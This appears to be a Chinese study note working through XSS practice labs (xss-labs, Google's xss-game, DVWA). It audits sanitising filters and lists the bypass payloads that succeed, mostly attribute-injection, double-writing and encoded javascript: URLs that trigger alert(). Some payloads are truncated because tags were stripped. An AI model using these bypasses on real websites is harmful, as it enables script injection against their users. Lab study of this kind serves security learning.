<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
## 若执行了alert,则执行以下语句
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>
观察到URL为
http://192.168.64.2/xss/level1.php?name=test
整个PHP文件只有URL处有输入空间,且test直接在下列语句中显示
欢迎用户test
审计源码,直接显示test
欢迎用户".$str."";
?>
故payload为
http://192.168.64.2/xss/level1.php?name=
keyword在php中为
审计源码,做了htmlspecialchars的过滤
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
此处无法xss
还有一处用到了keyword
需要闭合尖括号和双引号,因此payload为
http://192.168.64.2/xss/level2.php?keyword=">
&:转换为&
":转换为"
':转换为成为 '
<:转换为<
>:转换为>
ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
没有找到和".htmlspecialchars($str)."相关的结果."."
";
?>
需要绕过htmlspecialchars
payload
' onclick='alert(1)
# 使用js事件的onclick
onclick=alert(1)
payload
" onclick="alert(1)
">sad
xxx
没有做大小写过滤
payload
">"
发现只替换了一次,可以双写绕过
alert(1)
考察:字符的html实体构造方法
javascript:alert(1)
+ascii码+;
如,表示s,用s(不要忘记分号)
即使js过滤了标签,后端接受到内容,依然会进行解码操作
错误尝试
http://"><javascript>alert(1)</javascript><
正确payload
把http://注释掉
javascript:alert(1)//http://hi
观察源码,需要通过get传递keyword和t_sort参数,其中t_sort为xss参数
payload
&t_sort=333" onclick=alert(1) type="text
# 下面是onclick在type后,但是不能alert
这里一定要onclick在type的定义前,具体原因未知
地址:https://xss-game.appspot.com/
直接在输入框输入
尝试level1源码,不行,留言板为空
注意到fuzz测试中没有过滤任何字符
尝试
2123
成功
注意到没有地方输入,只有URL随着图片切换进行变化
改变URL为
https://xss-game.appspot.com/level3/frame#' onclick='alert(1)
成功
?timer=3
Your timer will execute in {{ timer }} seconds.
在输入框中输入
但输入框有长度限制
有两种方法
方法一,修改html中的最大长度限制
方法2,发现参数通过URL以get方式提交,故直接在URL处对参数进行赋值
没啥区别,用admin/123456登录进去,在输入框输入xss语句即可
还是一样的
进入源码,关键段为
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "what do you see?";
}
//试试:'>
//试试:' οnclick="alert('xss')">,闭合掉就行
</script>
<!--<a href="" onclick=('xss')>-->
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
因此本题考察onclick时,怎么调用javascript
payload为
javascript:alert(1)
代码中有提示,注意闭合语句即可
payload1
'>
payload2
' onclick="alert('xss')">
由于输入的表单过去后,直接呈现在页面的标签中,而标签中可以执行javascript,因此直接输入以下语句即可。
测试哪些字符被转码,输入
'"<>6666
查看源代码
你的输入已经被记录:
'"<>6666
故单引号可以输入
' onclick='alert(1)'
'"<>()6666
javascript:alert(1)
输入james,可以看到返回的源码
在中间插入js代码的方式
payload
'
在URL处进行注入
http://192.168.64.2/dvwa/vulnerabilities/xss_d/?default=
选择English,查看返回源码
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write(" + decodeURI(lang) + "");
document.write("");
}
document.write("");
document.write("");
document.write("");
document.write("");
script>
select>
闭合和
English#
查看源码,对script进行了过滤
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
尝试编码绕过,失败
尝试onclick触发,成功
123
其他方法
Name:
1234
Message:
123
尝试
Name:
123
Message:
'"<>()script
返回
Message:\'\"()script
源码
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '&mtxMessage=3&btnSign=Sign+Guestbook
注意不能用hackbar改,会有编码的问题
看源码,过滤了script,故使用href
txtName=123&mtxMessage=2&btnSign=Sign+Guestbook
1. 输入任意字符,如6666
2. 提交后得到返回页面,查看6666所在的位置
3. 通过闭合'"<>,xss注入
3.1 若有specialchars,需要进行fuzz测试
alert(1)
xxx
javascript:alert(1)
#
草稿
资源收集
CTFer从0到1
flappypig CTF特训营
windows程序设计
windows核心编程
逆向工程核心原理
逆向工程核心原理
恶意代码分析实战
使用ollydbg从零开始cracking(过老)